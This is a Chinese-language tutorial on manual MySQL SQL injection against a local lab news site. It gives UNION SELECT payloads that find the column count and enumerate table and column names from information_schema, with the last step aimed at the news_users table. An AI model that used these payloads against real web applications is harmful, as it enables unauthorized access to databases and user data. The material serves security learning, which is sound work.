漏洞原理SQL注入手工注入漏洞

SQL 注入的前置知识

information_schema库

information_schema 是mysql5.0以上版本中自带的一个数据库。

tables表

information_schema库中的tables表中table_schema列（存储数据库名）和table_name列（存储表名）

columns表

information_schema库中的columns表中table_schema列（存储数据库名）、table_name列（存储表名）、column_name列(存储列名)。

1 找到SQL 语句的注入点

总结一更据注入点判断该漏洞是否存在Mysql注入漏洞如果存在可以往下面走如果不存在则不存在MySql漏洞没有必要往下走。

2 根据注入点来判断是否有Sql注入漏洞来猜测数据库的字段数量。

http://127.0.0.1/news/show.php?id=50 order by 15 # 正常显示

http://127.0.0.1/news/show.php?id=50 order by 16 # 报错，告诉我们没有第16个字段

总结二利用SQL 语句的函数判断 SQL 语句的字段数量

3 更据字段的数量写出对应的SQL语句

http://127.0.0.1/news/show.php?id=-46 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

总结三更据漏洞的字段数量 15 判断出来存在漏洞的字段是 3 11 在这两个字段里面写下SQL Sql函数

4 利用显示字段获取系统信息

5 获取news数据库中所有的表名

select hex(group_concat(table_name)) from information_schema.tables

where table_schema='news';

select * from news_article where id=-46 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news';

http://127.0.0.1/news/show.php

?id=-46 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news'

news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users

6获取news数据库的news_users表中的所有字段名

select * from news_article where id=-46 union
select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users';